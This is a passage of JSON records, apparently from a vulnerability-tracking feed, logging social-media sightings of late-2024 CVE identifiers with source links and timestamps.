"CVE-2024-12897", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699093986719156", "content": "", "creation_timestamp": "2024-12-22T23:34:52.719531Z"}, {"uuid": "82f28aaa-bd29-4b33-a77d-02d9040577f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12897", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwnn2fov725", "content": "", "creation_timestamp": "2024-12-23T00:15:49.681541Z"}, {"uuid": "507d0e19-868c-467b-9661-59c4d5e6ef58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12898", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699266370607040", "content": "", "creation_timestamp": "2024-12-23T00:18:42.855985Z"}, {"uuid": "d1734de3-f832-43da-a49b-aa28b9a5e70f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699339260959339", "content": "", "creation_timestamp": "2024-12-23T00:37:14.887369Z"}, {"uuid": "dddc2c4b-45c4-43d5-a7a7-b497493c4479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699351878694966", "content": "", "creation_timestamp": "2024-12-23T00:40:27.453107Z"}, {"uuid": "b495dd9c-62f6-4bfd-abbd-fe60dfe395f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12898", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwqxoqdyx2m", "content": "", "creation_timestamp": "2024-12-23T01:15:27.620740Z"}, {"uuid": "39543908-ca9a-4f89-9f6d-7fdcd1721842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12899", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwqxrkccs25", "content": "", "creation_timestamp": "2024-12-23T01:15:30.583538Z"}, {"uuid": "4c618219-d39e-4299-84b5-13999f260fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12900", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699578003614107", "content": "", "creation_timestamp": "2024-12-23T01:37:57.691720Z"}, {"uuid": "8e72c03d-9f77-4861-9255-b8e1c7f60b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12901", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113699706288445746", "content": "", "creation_timestamp": "2024-12-23T02:10:35.186518Z"}, {"uuid": "2ce71c0c-7a6b-4048-bad2-fac990675612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12900", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwuczi57k25", "content": "", "creation_timestamp": "2024-12-23T02:15:29.643125Z"}, {"uuid": "1756705f-b6b1-4f78-9f0f-17a14f46c183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12901", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldwud3tos42m", "content": "", "creation_timestamp": "2024-12-23T02:15:32.044605Z"}, {"uuid": "6cfb1fd1-d995-4d4d-86ee-f749916595d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12902", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113701665986684770", "content": "", "creation_timestamp": "2024-12-23T10:28:57.880101Z"}, {"uuid": "f8dfe3bc-0822-4cc0-bf35-11f7341e8a56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12902", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldxsiluiq425", "content": "", "creation_timestamp": "2024-12-23T11:15:29.249791Z"}, {"uuid": "3d3421c1-b61a-48ac-9b70-d6f4fed271ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3ldxuwyenwd2l", "content": "", "creation_timestamp": "2024-12-23T11:59:19.418856Z"}, {"uuid": "906e25e1-5573-42fb-934d-fe55a3eb8796", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12903", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113702238404448794", "content": "", "creation_timestamp": "2024-12-23T12:54:32.249557Z"}, {"uuid": "27c16c0e-78ee-408a-8ccc-43006e10f089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12903", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldxz72amfl22", "content": "", "creation_timestamp": "2024-12-23T13:15:24.254731Z"}, {"uuid": "08031de2-86a3-4c18-84b3-9019361a180c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705709008355890", "content": "", "creation_timestamp": "2024-12-24T03:37:09.477611Z"}, {"uuid": "b15878ae-33ea-4325-9baf-48bda99d0ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12582", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzli7bp5a2i", "content": "", "creation_timestamp": "2024-12-24T04:15:18.770948Z"}, {"uuid": "d9409578-bd7d-452f-abc3-d43cbf5ae6a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931125851703", "content": "", "creation_timestamp": "2024-12-24T04:33:38.795389Z"}, {"uuid": "01695ad6-e45f-4630-96bf-3448990896fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931141640288", "content": "", "creation_timestamp": "2024-12-24T04:33:39.001985Z"}, {"uuid": "a173c92c-4bdb-43ed-bb71-90bcb4ef072f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931156683699", "content": "", "creation_timestamp": "2024-12-24T04:33:39.286605Z"}, {"uuid": "d0025929-010d-48e0-8f29-724a66185875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705931190547781", "content": "", "creation_timestamp": "2024-12-24T04:33:39.653305Z"}, {"uuid": "c2f21d37-2929-4298-8c25-7c6ceb3b3fff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944355832590", "content": "", "creation_timestamp": "2024-12-24T04:37:00.574078Z"}, {"uuid": "5c24ddae-b513-44d1-af7f-6d6713cac842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944371738030", "content": "", "creation_timestamp": "2024-12-24T04:37:00.922890Z"}, {"uuid": "256f5e32-f1d0-45f3-9c26-e2a157753193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944388003062", "content": "", "creation_timestamp": "2024-12-24T04:37:01.120442Z"}, {"uuid": "d5340fbe-1909-4d37-8d1f-2db54f2d965e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113705944402586236", "content": "", "creation_timestamp": "2024-12-24T04:37:01.387361Z"}, {"uuid": "c766f81f-61ec-4f98-904f-3f218f001f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12710", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706003447641304", "content": "", "creation_timestamp": "2024-12-24T04:52:02.453169Z"}, {"uuid": "ed12196d-a672-406d-8520-99d3210d399d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://bsky.app/profile/dinosn.bsky.social/post/3ldzoh4acss2i", "content": "", "creation_timestamp": "2024-12-24T05:08:26.032651Z"}, {"uuid": "5b70adda-151a-478f-a6c5-d03a1f888f9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotk7pkg25", "content": "", "creation_timestamp": "2024-12-24T05:15:20.791377Z"}, {"uuid": "50c15b34-52d1-4d67-bcdf-aed48ab2badd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotmuces2f", "content": "", "creation_timestamp": "2024-12-24T05:15:23.202066Z"}, {"uuid": "77f29305-7fe3-41e4-ac3f-ba7d99528851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotp5jsw22", "content": "", "creation_timestamp": "2024-12-24T05:15:25.575744Z"}, {"uuid": "1df50d88-e61d-466c-a5f0-ba1c4601172a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotsa7zg22", "content": "", "creation_timestamp": "2024-12-24T05:15:28.685237Z"}, {"uuid": "9abd783b-ac2a-440d-8048-0c9fb0e80f4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12710", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzotujjzs2f", "content": "", "creation_timestamp": "2024-12-24T05:15:31.503815Z"}, {"uuid": "650cb21d-d11e-49d8-b13c-fb8b8122aafb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12100", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706144897456986", "content": "", "creation_timestamp": "2024-12-24T05:28:00.687804Z"}, {"uuid": "0753f768-a2db-40eb-998f-6f4f4384e6b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12210", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706144911930667", "content": "", "creation_timestamp": "2024-12-24T05:28:01.201665Z"}, {"uuid": "76ff009d-90ff-4dc2-be75-00d8f64b8038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12034", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706144883033970", "content": "", "creation_timestamp": "2024-12-24T05:28:01.239444Z"}, {"uuid": "cc5149af-6cbe-4964-9939-5427dc37c15b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12405", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706203913779612", "content": "", "creation_timestamp": "2024-12-24T05:43:01.117804Z"}, {"uuid": "a1bed3b6-817d-4aa8-8424-58cfa9edaf44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706203929481650", "content": "", "creation_timestamp": "2024-12-24T05:43:01.436038Z"}, {"uuid": "75eb4b84-8362-48ca-8291-49f9a1313c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12622", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706203946762939", "content": "", "creation_timestamp": "2024-12-24T05:43:01.536041Z"}, {"uuid": "2fa02f4c-9b01-4c7f-a59a-da91ea29b299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12096", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706276341258936", "content": "", "creation_timestamp": "2024-12-24T06:01:26.242701Z"}, {"uuid": "a9164a18-0c67-4b8b-8908-914cbe735f79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12034", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7onqo32f", "content": "", "creation_timestamp": "2024-12-24T06:15:48.874950Z"}, {"uuid": "ec654f1c-72b2-4b60-a73a-3b37e9c92a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12096", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7r2ere22", "content": "", "creation_timestamp": "2024-12-24T06:15:51.348984Z"}, {"uuid": "f6ae0835-2e34-426b-899e-ccb545c98625", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12100", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7tqf2l25", "content": "", "creation_timestamp": "2024-12-24T06:15:54.057222Z"}, {"uuid": "dcd84c98-de7d-400b-a038-8f97fb02c6ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12210", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7vtf2o2i", "content": "", "creation_timestamp": "2024-12-24T06:15:56.324295Z"}, {"uuid": "ebe988ce-5ab0-4e06-a3bc-9b01ba44d4fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12405", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzs7xvozp22", "content": "", "creation_timestamp": "2024-12-24T06:15:58.558613Z"}, {"uuid": "18a17e7e-061d-4bb3-8e69-79bd4e32d007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzsa2ubio2i", "content": "", "creation_timestamp": "2024-12-24T06:16:01.552863Z"}, {"uuid": "86e56fe6-65c6-4518-b62c-c55f7e6c474e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12622", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzsa52ir422", "content": "", "creation_timestamp": "2024-12-24T06:16:04.030331Z"}, {"uuid": "b8c8b0c2-6b29-4925-9706-57a3135d3cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12814", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706528430346312", "content": "", "creation_timestamp": "2024-12-24T07:05:32.939776Z"}, {"uuid": "bb58e27a-bd81-4e38-9d09-0e5a01eff3eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12814", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3ldzvkbckwp2k", "content": "", "creation_timestamp": "2024-12-24T07:15:25.264574Z"}, {"uuid": "1db0278d-8a69-401a-8bf0-081fd8afee48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3ldzyw5arpt2l", "content": "", "creation_timestamp": "2024-12-24T08:15:46.638731Z"}, {"uuid": "82b4d60f-38cc-493e-add0-ad47b7348430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12468", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113706832024562575", "content": "", "creation_timestamp": "2024-12-24T08:22:45.637633Z"}, {"uuid": "da1fbea3-bb86-4c6d-a700-122d63a30d6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12468", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le24ay3j2f2a", "content": "", "creation_timestamp": "2024-12-24T09:15:30.031137Z"}, {"uuid": "16b7cb8c-4b6b-43b3-a9f8-752f03848ad8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12031", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092022211221", "content": "", "creation_timestamp": "2024-12-24T09:28:52.654235Z"}, {"uuid": "3be7ddb7-ebbd-4450-8456-4cb2f601d35f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12103", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092038057937", "content": "", "creation_timestamp": "2024-12-24T09:28:53.162304Z"}, {"uuid": "b3d29ec8-4364-4cad-b96b-f49779219e7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12850", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092053678320", "content": "", "creation_timestamp": "2024-12-24T09:28:53.219601Z"}, {"uuid": "52947926-b9d6-4e46-a9a4-83b57bc663f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12881", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707092068105611", "content": "", "creation_timestamp": "2024-12-24T09:28:53.413864Z"}, {"uuid": "34fd905d-faaa-4a1f-a7c0-29f0d6bb8d37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12031", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27maewy22a", "content": "", "creation_timestamp": "2024-12-24T10:15:28.846800Z"}, {"uuid": "9e94d16b-304a-40c4-990d-dd1c170e1e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12103", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27mcmc6k2a", "content": "", "creation_timestamp": "2024-12-24T10:15:30.971631Z"}, {"uuid": "ef820b7d-3081-4843-b499-184ef7eab001", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12850", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27meyl7h2k", "content": "", "creation_timestamp": "2024-12-24T10:15:33.469394Z"}, {"uuid": "90d86f3f-8fe3-434f-b8f7-6f4e04b681d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12881", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le27mhgaws2a", "content": "", "creation_timestamp": "2024-12-24T10:15:36.090846Z"}, {"uuid": "3dc16d99-32e3-4813-acec-59c77911c631", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12268", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113707496994951486", "content": "", "creation_timestamp": "2024-12-24T11:11:52.127245Z"}, {"uuid": "29583d63-0229-4788-87fc-7ca9ed57b6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12268", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2cxt3kgj25", "content": "", "creation_timestamp": "2024-12-24T11:15:38.670226Z"}, {"uuid": "c4173911-1faf-4bf0-bcf0-d1c5e0f7ceb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113708106021039311", "content": "", "creation_timestamp": "2024-12-24T13:46:44.905019Z"}, {"uuid": "98e7bda7-98d3-4883-ae7a-822861b3af5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113708724559281732", "content": "", "creation_timestamp": "2024-12-24T16:24:03.093667Z"}, {"uuid": "5d43bf83-bfb3-4cdb-8ca1-574fb73d470a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113708724574832048", "content": "", "creation_timestamp": "2024-12-24T16:24:05.541928Z"}, {"uuid": "135a1a05-63f0-435b-977c-1ce590231830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113708724590672241", "content": "", "creation_timestamp": "2024-12-24T16:24:05.854814Z"}, {"uuid": "f9d4b4f3-e422-4aef-9e5a-e5412e3df91a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12744", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2x36pzu32l", "content": "", "creation_timestamp": "2024-12-24T17:15:27.121102Z"}, {"uuid": "305351c6-6618-401c-9637-0266599ee592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12745", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2x3atkgk2a", "content": "", "creation_timestamp": "2024-12-24T17:15:29.839228Z"}, {"uuid": "ded87d91-0b0c-4cf3-816b-99a202dae525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12746", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3le2x3d3xrd22", "content": "", "creation_timestamp": "2024-12-24T17:15:32.338315Z"}, {"uuid": "e05c65df-e78e-4b89-8347-7062cb3ce319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12633", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617297322078", "content": "", "creation_timestamp": "2025-01-07T06:18:53.210781Z"}, {"uuid": "d690e9b9-e3d7-46e1-a240-961029773172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785617281381888", "content": "", "creation_timestamp": "2025-01-07T06:18:53.560667Z"}, {"uuid": "f81c7ed8-2bd9-426d-ac0f-b7c627c7b419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113792339283857457", "content": "", "creation_timestamp": "2025-01-08T10:48:23.257744Z"}, {"uuid": "0105812a-a948-49bd-9024-0f13e15b8453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12472", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqknisxw2m", "content": "", "creation_timestamp": "2025-01-11T03:15:57.823076Z"}, {"uuid": "b8b97388-97df-4b28-b7d3-f759f7c9c584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12627", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqks4d3f2k", "content": "", "creation_timestamp": "2025-01-11T03:16:02.136429Z"}, {"uuid": "9a6bf970-b4d3-4b05-b9fc-995d1783b579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113792339330615108", "content": "", "creation_timestamp": "2025-01-08T10:48:24.493987Z"}, {"uuid": "ed20bd42-c9b2-4add-8f44-6d0650de15c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12438", "type": "seen", 